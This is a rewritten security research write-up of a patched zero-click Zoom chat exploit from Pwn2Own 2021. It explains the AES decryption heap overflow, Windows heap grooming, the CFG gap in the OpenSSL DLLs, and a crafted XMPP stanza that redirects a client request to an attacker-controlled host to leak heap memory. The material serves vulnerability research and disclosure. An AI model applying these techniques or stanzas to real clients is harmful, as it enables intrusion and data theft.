Announcement
A heap buffer overflow existed in Zoom's chat client when handling an old-version encrypted key response: a fixed 1024-byte buffer was used for AES decryption without checking the output length. An attacker could send crafted chat messages to overflow the heap and achieve remote code execution with no user interaction.
Published on sector7.computest.nl
On April 7 2021, Thijs Alkemade and Daan Keuper demonstrated a zero-click remote code execution exploit in the Zoom video client during Pwn2Own 2021. Now that related bugs have been fixed for all users (see ZDI-21-971 and ZSB-22003) we can safely detail the bugs we exploited and how we found them.
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
On 7 April 2021, Thijs Alkemade and Daan Keuper demonstrated a zero-click remote code execution exploit in the Zoom video client during Pwn2Own 2021. The bugs involved have since been fixed for all users, referenced as ZDI-21-971 and ZSB-22003, and the write-up details both the vulnerabilities and the process of finding them. Both researchers had extensive experience with memory corruption on many platforms, but neither had any experience exploiting it on Windows, so a good part of the work was learning Windows internals along the way.

The target is the Zoom Meetings desktop client. Most users know it for video chat, but it also ships a full-featured chat client with image sending, group chats and more. Inside meetings there is audio and video, plus separate ways to chat, send files and share the screen. The attack vector the researchers cared about was anything that lets one user send data to another user.
Zoom's chat connection runs over XMPP. The client also makes many HTTPS requests, often carrying JSON or protobufs, and meetings use a number of transports depending on what the network allows, the main one being a custom UDP-based protocol.
The chat feature relevant to the bug is "Advanced chat encryption", available only to paying users. Version 2 is the default, but a client still handles messages sent with version 1, and that legacy path is where the vulnerability lived. Version 1 encrypts each message with a symmetric key identified by a key identifier, and exchanges that key between participants using X.509 certificates: RSA encryption and signing when the recipient's certificate holds an RSA key, or, by default, elliptic curve Diffie-Hellman over P-521 combined with AES.
Pwn2Own Vancouver 2021 introduced an "Enterprise Communications" category featuring Microsoft Teams and the Zoom Meetings client. The researchers had planned to enter Pwn2Own as an initial goal for their new research department, Sector 7, and judged that most competitors would have to start from scratch on these two applications, unlike the heavily hardened browser, local privilege escalation and virtual machine targets of previous years. They chose Zoom over Teams on the reasoning that Teams, being an Electron application with few native C++ libraries, most likely yields cross-site scripting and possibly a sandbox escape, while Zoom, written in C++, most likely yields memory corruption, which they preferred to research.
Setup
Neither researcher had used Zoom much, if at all, so the first step was to go through the application thoroughly with one question in mind: in how many ways can you send something to another user? That turned out to be quite a list. Beyond the video chat, there is a full-featured chat client with image sending, group chats and more, and inside meetings there is chat, file transfer, screen sharing and the rest. They made a few premium accounts so that as much of the feature set as possible was visible, since some features, Advanced chat encryption among them, are only available to paying users.
To see what the client actually sends and receives, they intercepted its network traffic. Zoom uses a lot of HTTPS requests, often with JSON or protobufs, the chat connection itself is XMPP, and meetings have several transport options depending on what the network allows, the main one a custom UDP-based protocol. The interception setup was a combination of proxies, modified DNS records, sslsplit and a new CA certificate installed in Windows, which gave visibility into all traffic, including HTTP and XMPP, in the test environment. They initially focused on HTTP and XMPP, treating the meeting protocol as a custom binary protocol.
The relevant binaries went into their favourite disassemblers. Because the goal was a vulnerability reachable from another user, they started by matching the handling of incoming XMPP stanzas to the code. A stanza is an XMPP element you can send to another user.
Static analysis of most of the client hit a wall: the disassembly was dominated by calls through vtables and into other DLLs, with almost nothing to hold on to. Logging would have helped, both dynamically and statically, since log strings often reveal function and variable names and the checks being performed, but the shipped DLLs do no logging at all. Zoom's support pages describe a special troubleshooting build of the client that logs more information, handed out by support to debug a specific issue. Since social engineering is usually banned in bug bounties, and they did not want to antagonise Zoom, they asked through ZDI, as Zoom was sponsoring Pwn2Own, whether they could have that build. Zoom turned the request down.
The substitute was Zoom's SDK, which integrates the meeting functionality into other applications. It consists of many of the same libraries as the client, but these DLL files do have logging present. Some UI-related DLLs are missing, but there is enough to get a good overview of the core message handling, and the logging revealed file names and function names, as in this disassembled example:
iVar2 = logging::GetMinLogLevel();
if (iVar2 < 2) {
logging::LogMessage::LogMessage
(local_c8,
"c:\\ZoomCode\\client_sdk_2019_kof\\client\\src\\framework\\common\\SaasBeeWebServiceModule\\ZoomNetworkMonitor.cpp"
, 0x39, 1);
uVar3 = log_message(iVar2 + 8, "[NetworkMonitor::~NetworkMonitor()]", " ", uVar1);
log_message(uVar3);
logging::LogMessage::~LogMessage(local_c8);
}
For dynamic work they wrote Frida scripts to track allocations, print the freelist and check the LFH status. WinDBG can do all of this, but they found it far too slow to be useful.
The exploitation work ran in a Windows VM. At one point the VM had no emulated sound card, which was fine while they were not looking at the meeting functionality; adding one later changed the allocation behaviour of the call-ringing code significantly, as described in the control section below.
Finding it
Mapping the attack surface
The first pass over the client was about enumeration rather than exploitation: every path by which one user can deliver data to another. That covers the chat client (messages, images, group chats), the in-meeting features (chat, file transfer, screen sharing) and the meeting transports themselves. Premium accounts were created so that paid-only features were visible during this mapping.
On the network side, the interception setup described above gave full visibility into HTTPS (JSON and protobufs) and XMPP in the test environment. The meeting protocol was set aside at first because it looked like a custom binary protocol, and the researchers concentrated on HTTP and XMPP, where the message handling was readable.
Disassembly and the logging problem
The next step was to match incoming XMPP stanzas to code. The XMPP XML stream is initially parsed by XmppDll.dll, which is based on the C++ XMPP library gloox. That made reverse engineering this part easy, even for the custom extensions Zoom had added.
It also became clear that no good vulnerability would be found there. XmppDll.dll only parses incoming stanzas and copies the XML data into a new C++ object; no real business logic is implemented in it, and everything is passed to a callback in a different DLL.
The other DLLs were a different matter. Their disassembly was almost impossible to get through because of the large number of calls through vtables and into other DLLs, with almost nothing to give a grip on the code. The main reason was that most DLLs do no logging at all. Logs are useful for dynamic analysis, but also for static analysis, since they often reveal function and variable names and show which checks are performed. Zoom generated a log of the installation, but while the client was running nothing was logged.
The support pages for generating a troubleshooting log for Zoom describe a special troubleshooting package of Zoom that logs more information about an issue, installed after reporting a problem through the desktop client and sent to the support agent afterwards. That suggested logging is disabled at compile time, but that special builds with logging exist, given out by support to debug a specific issue. Social engineering is usually banned in bug bounties; the Pwn2Own rules do not mention it, but the researchers did not want to antagonise Zoom, so they asked through ZDI, since Zoom was sponsoring Pwn2Own, whether they could have that client. Zoom turned the request down, and the report does not say why.
Before falling back to anything else, they found something almost as good: Zoom's SDK, which integrates the meeting functionality into other applications. It consists of many of the same libraries as the client, but in this case the DLL files do have logging present. Some UI-related DLLs are missing, but there is enough to get a good overview of the core message handling. The logging revealed file names and function names, as in this disassembled example:
iVar2 = logging::GetMinLogLevel();
if (iVar2 < 2) {
logging::LogMessage::LogMessage
(local_c8,
"c:\\ZoomCode\\client_sdk_2019_kof\\client\\src\\framework\\common\\SaasBeeWebServiceModule\\ZoomNetworkMonitor.cpp"
, 0x39, 1);
uVar3 = log_message(iVar2 + 8, "[NetworkMonitor::~NetworkMonitor()]", " ", uVar1);
log_message(uVar3);
logging::LogMessage::~LogMessage(local_c8);
}
The oversized base64 allocation
With the SDK build in hand, the hunt for memory corruption could start in earnest. Parsing was not a likely vector for the XMPP connection: a well-known library handles XMPP, and any payload has to pass through the server, so invalid XML never reaches the other client. Many string operations use C++ std::string objects, which makes buffer overflows from mistakes in length calculations unlikely as well.
About two weeks into the research, one thing stood out in the base64 decoding that happens in a couple of places:
len = Cmm::CStringT<char>::size(param_1);
result = malloc(len << 2);
len = Cmm::CStringT<char>::size(param_1);
buffer = Cmm::CStringT<char>::c_str(param_1);
status = EVP_DecodeBlock(result, buffer, len);
EVP_DecodeBlock is the OpenSSL function that handles base64 decoding. Base64 turns three bytes into four characters, so decoding produces something that is always 3/4 of the size of the input, ignoring rounding. Instead of allocating that size, this code allocates a buffer four times larger than the input, since shifting left twice is multiplying by four. Allocating too much is not exploitable in itself, short of an integer overflow, which is not very practical. What it showed was that when data moves between Zoom's code and OpenSSL, incorrect calculations of buffer sizes might be present: std::string objects have to be converted to C char* pointers with separate length variables. The researchers decided to focus on the calling of OpenSSL functions from Zoom's own code for a while.
The missing length check
Advanced chat encryption version 1, still handled by clients that default to version 2, involves a lot of OpenSSL functions. As far as the researchers could understand from the code, it works like this.
- The sender sends a message encrypted with a symmetric key, with a key identifier indicating which message key was used.
<message from="[redacted]/ZoomChat_pc" to="[redacted]" id="85DC3552-56EE-4307-9F10-483A0CA1C611" type="chat">
<body>[This is an encrypted message]</body>
<thread>gloox{BFE86A52-2D91-4DA0-8A78-DC93D3129DA0}</thread>
<active xmlns="http://jabber.org/protocol/chatstates"/>
<ze2e>
<tp>
<send>[redacted]</send>
<sres>ZoomChat_pc</sres>
<scid>{01F97500-AC12-4F49-B3E3-628C25DC364E}</scid>
<ssid>[redacted]</ssid>
<cvid>zc_{10EE3E4A-47AF-45BD-BF67-436793905266}</cvid>
</tp>
<action type="SendMessage">
<msg>
<message>/fWuV6UYSwamNEc40VKAnA==</message>
<iv>sriMTH04EXSPnphTKWuLuQ==</iv>
</msg>
<xkey>
<owner>{01F97500-AC12-4F49-B3E3-628C25DC364E}</owner>
</xkey>
</action>
<app v="0"/>
</ze2e>
<zmtask feature="35">
<nos>You have received an encrypted message.</nos>
</zmtask>
<zmext expire_t="1680466611000" t="1617394611169">
<from n="John Doe" e="[redacted]" res="ZoomChat_pc"/>
<to/>
<visible>true</visible>
</zmext>
</message>
The <msg> element carries the ciphertext in <message> and the IV in <iv>, and <xkey> names the key by its <owner> identifier.
- The recipient checks whether it has the symmetric key with that identifier. If not, the client automatically sends a
RequestKeymessage to the other user, including the recipient's X.509 certificate in<pub_cert>so the message key can be encrypted to it.
<message xmlns="jabber:client" to="[redacted]" id="{684EF27D-65D3-4387-9473-E87279CCA8B1}" type="chat" from="[redacted]/ZoomChat_pc">
<thread>gloox{25F7E533-7434-49E3-B3AC-2F702579C347}</thread>
<active xmlns="http://jabber.org/protocol/chatstates"/>
<zmext>
<msg_type>207</msg_type>
<from n="Jane Doe" res="ZoomChat_pc"/>
<to/>
<visible>false</visible>
</zmext>
<ze2e>
<tp>
<send>[redacted]</send>
<sres>ZoomChat_pc</sres>
<scid>[redacted]+vcAqMztQ=</scid>
<recv>[redacted]</recv>
<ssid>[redacted]</ssid>
<cvid>zc_{10EE3E4A-47AF-45BD-BF67-436793905266}</cvid>
</tp>
<action type="RequestKey">
<xkey>
<pub_cert>[redacted]+uG4Ui58+QBSfWVVWCrG/8R4KTPvhS7/utzNIe+5R8oE69EPFAFNBMe/nCugYfi/EzEtwzor/[redacted]/wr/[redacted]+A956elf/eGtF53iQv2PT9I/4SNMIcX5Oe/sJrH1czcTfpMIACpfbc9Iu6n/WNCJK/tmvOmdnFDk2ekDt9jeVmDhwJj2pG+cOdY/0A+[redacted]+/[redacted]/[redacted]/[redacted]/6J21g6G6eDRtWvE1nMfmyOvTtjC</pub_cert>
<owner>{01F97500-AC12-4F49-B3E3-628C25DC364E}</owner>
</xkey>
</action>
<v2data action="None"/>
<app v="0"/>
</ze2e>
<zmtask feature="50"/>
</message>
- The sender answers with a
ResponseKeymessage. It contains the sender's X.509 certificate in<pub_cert>, an<encoded>element holding the message key encrypted with both the sender's private key and the recipient's public key, and a signature in<signature>.
<message from="[redacted]/ZoomChat_pc" to="[redacted]" id="4D6D109E-2AF2-4444-A6FD-55E26F6AB3F0" type="chat">
<thread>gloox{24A77779-3F77-414B-8BC7-E162C1F3BDDF}</thread>
<active xmlns="http://jabber.org/protocol/chatstates"/>
<ze2e>
<tp>
<send>[redacted]</send>
<sres>ZoomChat_pc</sres>
<scid>{01F97500-AC12-4F49-B3E3-628C25DC364E}</scid>
<recv>[redacted]</recv>
<rres>ZoomChat_pc</rres>
<rcid>[redacted]+vcAqMztQ=</rcid>
<ssid>[redacted]</ssid>
<cvid>zc_{10EE3E4A-47AF-45BD-BF67-436793905266}</cvid>
</tp>
<action type="ResponseKey">
<xkey create_time="1617394606">
<pub_cert>[redacted]/[redacted]/+qz3OJiOy/[redacted]/xE96h80TLWpqoZHl1Ov+JiSVN/MA0GCSqGSIb3DQEBCwUAA4IBAQCUu+e8Bp9Qg/L2Kd/+AzYkmWeLw60QNVOw27rBLytiH6Ff/OmhZwwLoUbj0j3JATk/FiBpqyN6rMzL/TllWf+[redacted]+[redacted]+[redacted]/C2x+5oRB5/03aDS8Dw+[redacted]/[redacted]</pub_cert>
<encoded>...</encoded>
<signature>MIGHAkIBaq/VH7MvCMnMcY+Eh6W4CN7NozmcXrRSkJJymvec+[redacted]+e1bPsu9lwF4GkgI40NrPG/kbUx4RbiTp+Ckyo0</signature>
<owner>{01F97500-AC12-4F49-B3E3-628C25DC364E}</owner>
</xkey>
</action>
<app v="0"/>
</ze2e>
<zmtask feature="50"/>
<zmext t="1617394613961">
<from n="John Doe" e="[redacted]" res="ZoomChat_pc"/>
<to/>
<visible>false</visible>
</zmext>
</message>
The way the key is encrypted has two options, depending on the type of key in the recipient's certificate. With an RSA key, the sender encrypts the message key with the recipient's public key and signs it with their own private RSA key.
The default is not RSA but an elliptic curve key on the curve P-521. Encryption algorithms using elliptic curve keys do not exist as far as the researchers know, so instead of encrypting directly, elliptic curve Diffie-Hellman is used with both users' keys to obtain a shared secret. The shared secret is split into a key and IV to encrypt the message key data with AES, a common approach when using elliptic curve cryptography.
When handling a ResponseKey message, a std::string of a fixed size of 1024 bytes was allocated for the decrypted result. On the RSA path it was properly validated that the decryption result would fit in that buffer. On the AES path that check was missing. Sending a ResponseKey message with an AES-encrypted <encoded> element of more than 1024 bytes therefore overflowed a heap buffer.
The following snippet is the function where the overflow happens, from the SDK version with logging available. Here param_1[0] is the input buffer, param_1[1] the input buffer's length, param_1[2] the output buffer and param_1[3] the output buffer length. The important part is that param_1[3] is only written to with the resulting length, never read first; the actual allocation of the buffer happens in a function a few steps earlier.
undefined4 __fastcall AESDecode(undefined4 *param_1, undefined4 *param_2) {
char cVar1;
int iVar2;
undefined4 uVar3;
int iVar4;
LogMessage *this;
int extraout_EDX;
int iVar5;
LogMessage local_180 [176];
LogMessage local_d0 [176];
int local_20;
undefined4 *local_1c;
int local_18;
int local_14;
undefined4 local_8;
undefined4 uStack4;
uStack4 = 0x170;
local_8 = 0x101ba696;
iVar5 = 0;
local_14 = 0;
local_1c = param_2;
cVar1 = FUN_101ba34a();
if (cVar1 == '\0') {
return 1;
}
if ((*(uint *)(extraout_EDX + 4) < 0x20) || (*(uint *)(extraout_EDX + 0xc) < 0x10)) {
iVar5 = logging::GetMinLogLevel();
if (iVar5 < 2) {
logging::LogMessage::LogMessage
(local_d0, "c:\\ZoomCode\\client_sdk_2019_kof\\Common\\include\\zoom_crypto_util.h",
0x1d6, 1);
local_8 = 0;
local_14 = 1;
uVar3 = log_message(iVar5 + 8, "[AESDecode] Failed. Key len or IV len is incorrect.", " ");
log_message(uVar3);
logging::LogMessage::~LogMessage(local_d0);
return 1;
}
return 1;
}
local_14 = param_1[2];
local_18 = 0;
iVar2 = EVP_CIPHER_CTX_new();
if (iVar2 == 0) {
return 0xc;
}
local_20 = iVar2;
EVP_CIPHER_CTX_reset(iVar2);
uVar3 = EVP_aes_256_cbc(0, *local_1c, local_1c[2], 0);
iVar4 = EVP_CipherInit_ex(iVar2, uVar3);
if (iVar4 < 1) {
iVar2 = logging::GetMinLogLevel();
if (iVar2 < 2) {
logging::LogMessage::LogMessage
(local_d0,"c:\\ZoomCode\\client_sdk_2019_kof\\Common\\include\\zoom_crypto_util.h",
0x1e8, 1);
iVar5 = 2;
local_8 = 1;
local_14 = 2;
uVar3 = log_message(iVar2 + 8, "[AESDecode] EVP_CipherInit_ex Failed.", " ");
log_message(uVar3);
}
LAB_101ba758:
if (iVar5 == 0) goto LAB_101ba852;
this = local_d0;
} else {
iVar4 = EVP_CipherUpdate(iVar2, local_14, &local_18, *param_1, param_1[1]);
if (iVar4 < 1) {
iVar2 = logging::GetMinLogLevel();
if (iVar2 < 2) {
logging::LogMessage::LogMessage
(local_d0,"c:\\ZoomCode\\client_sdk_2019_kof\\Common\\include\\zoom_crypto_util.h",
0x1f0, 1);
iVar5 = 4;
local_8 = 2;
local_14 = 4;
uVar3 = log_message(iVar2 + 8, "[AESDecode] EVP_CipherUpdate Failed.", " ");
log_message(uVar3);
}
goto LAB_101ba758;
}
param_1[3] = local_18;
iVar4 = EVP_CipherFinal_ex(iVar2, local_14 + local_18, &local_18);
if (0 < iVar4) {
param_1[3] = param_1[3] + local_18;
EVP_CIPHER_CTX_free(iVar2);
return 0;
}
iVar2 = logging::GetMinLogLevel();
if (iVar2 < 2) {
logging::LogMessage::LogMessage
(local_180,"c:\\ZoomCode\\client_sdk_2019_kof\\Common\\include\\zoom_crypto_util.h",
0x1fb, 1);
iVar5 = 8;
local_8 = 3;
local_14 = 8;
uVar3 = log_message(iVar2 + 8, "[AESDecode] EVP_CipherFinal_ex Failed.", " ");
log_message(uVar3);
}
if (iVar5 == 0) goto LAB_101ba852;
this = local_180;
}
logging::LogMessage::~LogMessage(this);
LAB_101ba852:
EVP_CIPHER_CTX_free(local_20);
return 0xc;
}
The report does not say what the <encoded> element normally contains after decryption; from their understanding of the protocol the researchers assume it contains a key. Initiating the old version of the protocol against a new client was easy. Having a legitimate client initiate it requires an old version of the client, which appears to be malfunctioning, as it can no longer log in.
About two weeks into the research, they had a buffer overflow they could trigger remotely without user interaction by sending a few chat messages to a user who had previously accepted an external contact request or is currently in the same multi-user chat.
Exploitation
Step 6: Properties of the overflow
Before building an exploit around the overflow, the researchers listed its properties, because each one constrains what the exploit can do.
- Pro: The size is not directly bounded. It is implicitly bounded by the maximum size of an XMPP packet, but in practice that is far more than needed.
- Pro: The contents are the result of decrypting the buffer, so they can be arbitrary binary data, not limited to printable or non-zero characters.
- Pro: It triggers automatically without user interaction, as long as the attacker and victim are contacts.
- Con: The size must be a multiple of the AES block size, 16 bytes. There can be padding at the end, but even when padding is present it still overwrites the data up to a full block before the padding is removed.
- Con: The heap allocation is of a fixed and quite large size: 1040 bytes. The backing buffer of a
std::stringon Windows has up to 16 extra bytes for some reason. - Con: The buffer is allocated and then used for the overflow while handling the same packet. The buffer cannot be placed first, with something else allocated after it and then overflowed.
There was no full exploitation plan yet, but the expectation was that the exploit would most likely need to overwrite a function pointer or a vtable in an object. OpenSSL was known to be in use, and it uses function pointers within structs extensively. A few such objects could even be created during the later handling of ResponseKey messages. The researchers investigated this, but it quickly turned out to be impossible because of the heap allocator in use.
Step 7: The Windows NT heap
To place allocations deliberately, the researchers needed to understand how the Windows heap allocator works. Windows 10 includes two different heap allocators: the NT heap and the Segment Heap. The Segment Heap is new in Windows 10 and only used for specific applications, which do not include Zoom, so the NT heap is what Zoom uses. For allocations of less than about 16 kB, the NT heap has two allocators: the front-end allocator, known as the Low-Fragment Heap or LFH, and the back-end allocator.
Three definitions help before going into detail:
- Block: a memory area which can be returned by the allocator, either in use or not.
- Bucket: a group of blocks handled by the LFH.
- Page: a memory area assigned by the OS to a process.
By default, the back-end allocator handles all allocations. The best way to imagine it is as a sorted list of all free blocks, the freelist. Whenever an allocation request is received for a specific size, the list is traversed until a block is found of at least the requested size. That block is removed from the list and returned. If the block was bigger than the requested size, it is split and the remainder is inserted in the list again. If no suitable blocks are present, the heap is extended by requesting a new page from the OS and inserting it as a new block at the appropriate location in the list. When an allocation is freed, the allocator first checks whether the blocks before and after it are also free. If one or both are, they are merged together. The block is inserted into the list again at the location matching its size.
The following video shows how the allocator searches for a block of a specific size (orange), returns it and places the remainder back into the list (green).
The back-end allocator is fully deterministic: if you know the state of the freelist at a certain time and the sequence of allocations and frees that follow, you can determine the new state of the list. There are other useful properties too, such as that allocations of a specific size are last-in-first-out. If you allocate a block, free it and immediately allocate the same size, you always receive the same address.
The front-end allocator, the LFH, is used for sizes that are used often, to reduce fragmentation. If more than 17 blocks of a specific size range are allocated and still in use, the LFH starts handling that specific size from then on. LFH allocations are grouped in buckets, each handling a range of allocation sizes. When a request for a specific size is received, the LFH checks the bucket most recently used for an allocation of that size to see if it still has room. If it does not, it checks whether any other buckets for that size range have available room. If there are none, a new bucket is created.
No matter whether the LFH or the back-end allocator is used, each heap allocation of less than 16 kB has a header of eight bytes. The first four bytes are encoded, the next four are not. The encoding uses a XOR with a random key, as a security measure against buffer overflows corrupting heap metadata.
For exploiting a heap overflow there are a number of things to consider. The back-end allocator can create adjacent allocations of arbitrary sizes. On the LFH, only objects in the same range are combined in a bucket, so to overwrite a block from a different range you would have to make sure two buckets are placed adjacent. In addition, which free slot from a bucket is used is randomised.
For these reasons the researchers focused initially on the back-end allocator. They quickly realised they could not use any of the OpenSSL objects they had found earlier: when Zoom is launched in a clean state, with no existing chat history, all sizes up to around 700 bytes, and many common sizes above that too, are already handled by the LFH. It is impossible to switch a specific size back from the LFH to the back-end allocator. The OpenSSL objects identified initially were therefore impossible to allocate after the overflowing block, as they were all less than 700 bytes and so guaranteed to be placed in an LFH bucket.
That meant searching more thoroughly for objects of larger sizes in which a function pointer or vtable might be overwritten. One of the other DLLs, zWebService.dll, includes a copy of libcurl, which gave the researchers some extra source code to analyse. Analysing source code was much more efficient than obtaining information about a C++ object's layout from a decompiler. This did give some interesting objects to overflow that would not automatically be on the LFH.
Step 8: Heap grooming on the back-end allocator
To place the allocations where the exploit needed them, the researchers expected to do extensive heap grooming, following this procedure:
- Allocate a temporary object of 1040 bytes.
- Allocate the object to overwrite after it.
- Free the object of 1040 bytes.
- Perform the overflow, hopefully at the same address as the 1040 byte object.
For this to work, they needed to be able to make an allocation of 1040 bytes that they could free at a precise later time. More importantly, they needed to fill up many holes in the freelist so that the two objects would end up adjacent. Allocating the objects directly adjacent requires a free block of size 1040 + x, with x the size of the other object, in the first step. That in turn means there must not be any other allocations of a size between 1040 and 1040 + x, otherwise that block would be used instead. There is therefore a pretty large range of sizes for which no free blocks may be available.
To make arbitrary sized allocations, they stayed close to what they already knew. If you send an encrypted message with a key identifier the other user does not yet have, the other user's client requests that key. The key identifier remained in a std::string in memory, likely because it was waiting for a response. It could be arbitrarily large, so this was a way to make an allocation. Zoom also allows chat messages to be revoked, which frees the pending key request. That gave a primitive for allocating and freeing a block of a specific size, but a crude one: it always allocated two copies of that string, for some reason, and handling a new incoming message made quite a few temporary copies.
They spent a lot of time making allocations by sending messages and monitoring the state of the freelist. For this they wrote Frida scripts for tracking allocations, printing the freelist and checking the LFH status. WinDBG can do all of these things, but they found it far too slow to be of use. One nice trick was available: if specific allocations could get in the way of the heap grooming, they could trigger the LFH for that size, so that it would no longer affect the freelist, by making the client perform at least 17 allocations of that size.
They spent a lot of time on this and ran into a problem. Sometimes, randomly, the allocation of 1040 bytes would already be placed on the LFH, even when the application was launched in a clean state. At first they accepted this risk: a chance of around 25% to fail is still quite acceptable for the 3 attempts in Pwn2Own. But the more concrete the grooming became, the more additional objects and sizes they needed, such as the libcurl objects they might want to overwrite. With more sizes, it became more and more likely that at least one of them would already be handled by the LFH, completely breaking the exploit. They were not keen on participating with an exploit that had already failed 75% of the time by the time the application had finished launching. After a few weeks of trying to gain control over this, they decided to try something else.
Step 9: Moving to the LFH
The alternative was to investigate how easy the exploit would be if the allocation that can be overflowed were forced onto the LFH, using the same method of forcing a size to the LFH first. That meant searching more thoroughly for objects of appropriate sizes. The 1040 byte allocation is placed in a bucket with all LFH allocations of 1025 bytes to 1088 bytes.
Before going further, the defensive measures in play:
- ASLR (Address Space Layout Randomization). DLLs are loaded in random locations and the location of the heap and stack is also randomised. However, because Zoom was a 32-bit application, there is not a very large range of possible addresses for DLLs and for the heap.
- DEP (Data Execution Prevention). This meant that there were no memory pages present that were both writable and executable.
- CFG (Control Flow Guard). A relatively new technique used to check that function pointers and other dynamic addresses point to a valid start location of a function.
ASLR and DEP were used correctly by Zoom, but the use of CFG had a weakness: the 2 OpenSSL DLLs did not have CFG enabled, due to an incompatibility in OpenSSL, which was very helpful.
CFG works by inserting a check (guard_check_icall) before all dynamic function calls, which looks up the address that is about to be called in a list of valid function start addresses. If it is valid, the call is allowed. If not, an exception is raised.
Not enabling CFG for a DLL means two things:
- Any dynamic function call by this library does not check if the address is a function start location. In other words,
guard_check_icallis not inserted. - Any dynamic function call from another library which does use CFG which calls an address in these DLLs is always allowed. The valid start location list is not present for these DLLs, which means that it allows all addresses in the range of that DLL.
Based on this, the plan became:
- Leak an address from one of the two OpenSSL DLLs to deal with ASLR.
- Overflow a vtable or function pointer to point to a location in the DLL that has been located.
- Use a ROP chain to gain arbitrary code execution.
To perform the buffer overflow on the LFH, the researchers needed a way to deal with the randomisation. While not perfect, one way they avoided a lot of crashes was to create a lot of new allocations in the size range and then free all but the last one. As described above, the LFH returns a random free slot from the current bucket. If the current bucket is full, it looks if there are other not yet full buckets of the same size range. If there are none, the heap is extended and a new bucket is created.
By allocating many new blocks, they guaranteed that all buckets for this size range were full and a new bucket was created. Freeing a number of these allocations but keeping the last block meant there was a lot of room in this bucket. As long as they did not allocate more blocks than would fit, all allocations of the size range would come from here. This was very helpful for reducing the chance of overwriting other objects that happen to fall in the same size range.
The following video shows the "dangerous" objects they don't want to overwrite in orange, and the safe objects they created in green:
As long as Bucket 3 did not fill up completely, all allocations for the targeted size range would happen in that bucket, allowing the orange objects to be avoided. So long as no new "orange" objects were created, the attempt could be repeated again and again. The randomisation would actually help ensure that the wanted object layout was eventually obtained.
Step 10: Information leak
Turning a buffer overflow into an information leak is quite a challenge, as it depends heavily on the functionality available in the application. A common way is to allocate something with a length field, overflow over the length field and then read the field. That did not work here: the researchers found no available functionality in Zoom to send something with an allocation of 1025 to 1088 bytes with a length field and with a way to request it again. It is possible that such functionality exists, but analysing the object layout of the C++ objects was a slow process.
Looking at the parts for which they had code, they found a method, although it was tricky.
When libcurl is used to request a URL it parses and encodes the URL and copies the relevant fields into an internal structure. The path and query components of the URL are stored in different, heap allocated blocks with a zero terminator. Any required URL encoding has already taken place, so when the request is sent the entire string is copied to the socket until it gets to the first null byte.
They had found a way to initiate HTTPS requests to a server they control. The method was by sending a weird combination of two stanzas Zoom would normally use, one for sending an invitation to add a user and one notifying the user that a new bot was added to their account. A string from the stanza is then appended to a domain to download an image. However, the string of the prepended domain does not end with a /, so it is possible to extend it to end up at a different domain.
A stanza for requesting another user to be added to your contact list:
<presence xmlns="jabber:client" type="subscribe" email="[email of other user]" from="[redacted]/ZoomChat_pc">
<status>{"e":"[redacted]","screenname":"John Doe","t":1617178959313}</status>
</presence>
The stanza informing a user that a new bot (in this case, SurveyMonkey) was added to their account:
<presence from="[redacted]/ZoomChat_pc" to="[redacted]/ZoomChat_pc" type="probe">
<zoom xmlns="zm:x:group" group="Apps##61##addon.SX4KFcQMRN2XGQ193ucHPw" action="add_member" option="0" diff="0:1">
<members>
<member fname="SurveyMonkey" lname="" jid="[redacted]" type="1" cmd="/sm" pic_url="https://marketplacecontent.zoom.us//CSKvJMq_RlSOESfMvUk- dw/nhYXYiTzSYWf4mM3ZO4_dw/app/UF-vuzIGQuu3WviGzDM6Eg/iGpmOSiuQr6qEYgWh15UKA.png" pic_relative_url="//CSKvJMq_RlSOESfMvUk-dw/nhYXYiTzSYWf4mM3ZO4_dw/app/UF- vuzIGQuu3WviGzDM6Eg/iGpmOSiuQr6qEYgWh15UKA.png" introduction="Manage SurveyMonkey surveys from your Zoom chat channel." signature="" extension="[redacted]=="/>
</members>
</zoom>
</presence>
While a client only expects this stanza from the server, it is possible to send it from a different user account. It is then handled if the sender is not yet in the user's contact list. Combining these two things gave the following:
<presence from="[redacted]/ZoomChat_pc" to="[redacted]/ZoomChat_pc">
<zoom xmlns="zm:x:group" group="Apps##61##addon.SX4KFcQMRN2XGQ193ucHPw" action="add_member" option="0" diff="0:0">
<members>
<member fname="SurveyMonkey" lname="" jid="[redacted]" type="1" cmd="/sm" pic_url="https://marketplacecontent.zoom.us//CSKvJMq_RlSOESfMvUk- dw/nhYXYiTzSYWf4mM3ZO4_dw/app/UF-vuzIGQuu3WviGzDM6Eg/iGpmOSiuQr6qEYgWh15UKA.png" pic_relative_url="example.org//CSKvJMq_RlSOESfMvUk-dw/nhYXYiTzSYWf4mM3ZO4_dw/app/UF- vuzIGQuu3WviGzDM6Eg/iGpmOSiuQr6qEYgWh15UKA.png" introduction="Manage SurveyMonkey surveys from your Zoom chat channel." signature="" extension="[redacted]=="/>
</members>
</zoom>
</presence>
The pic_url attribute here is ignored. Instead, the pic_relative_url attribute is used, with "https://marketplacecontent.zoom.us" prepended to it. This means a request is performed to:
"https://marketplacecontent.zoom.us" + image
"https://marketplacecontent.zoom.us" + "example.org//CSKvJMq_RlSOESfMvUk-dw/nhYXYiTzSYWf4mM3ZO4_dw/app/UF- vuzIGQuu3WviGzDM6Eg/iGpmOSiuQr6qEYgWh15UKA.png"
"https://marketplacecontent.zoom.usexample.org//CSKvJMq_RlSOESfMvUk-dw/nhYXYiTzSYWf4mM3ZO4_dw/app/UF- vuzIGQuu3WviGzDM6Eg/iGpmOSiuQr6qEYgWh15UKA.png"
Because this is not restricted to subdomains of zoom.us, the request could be redirected to a server the researchers control.
They are still not fully sure why this worked, but it worked. This is one of two additional, low impact bugs used for the attack, and it is also currently fixed according to the Zoom Security Bulletin. On its own, it could be used to obtain the external IP address of another user if they are signed in to Zoom, even when you are not a contact.
Setting up a direct connection was very helpful, because they had much more control over this connection than over the XMPP connection. The XMPP connection is not direct but goes through the server, which meant that invalid XML would not reach them. As the addresses they wanted to leak were unlikely to consist of entirely printable characters, they could not try to get these included in a stanza that would reach them. With a direct connection, they were not restricted in any way.
The plan was:
- Initiate an HTTPS request using a URL with a query part of 1087 bytes to a server they control.
- Accept the connection, but delay responding to the TLS handshake.
- Trigger the buffer overflow such that the buffer being overflowed is immediately before the block containing the query part of the URL. This overwrites the heap header of the query block, the entire query (including the zero terminator at the end) and the next heap header.
- Let the TLS handshake proceed.
- Receive the query, with the heap header and start of the next block in the HTTP request.
This video illustrates how this works:
In essence, this is similar to creating an object, overwriting a length field and reading it. Instead of a counter for the length, the zero terminator of a string is overwritten by writing all the way over the contents of a buffer.
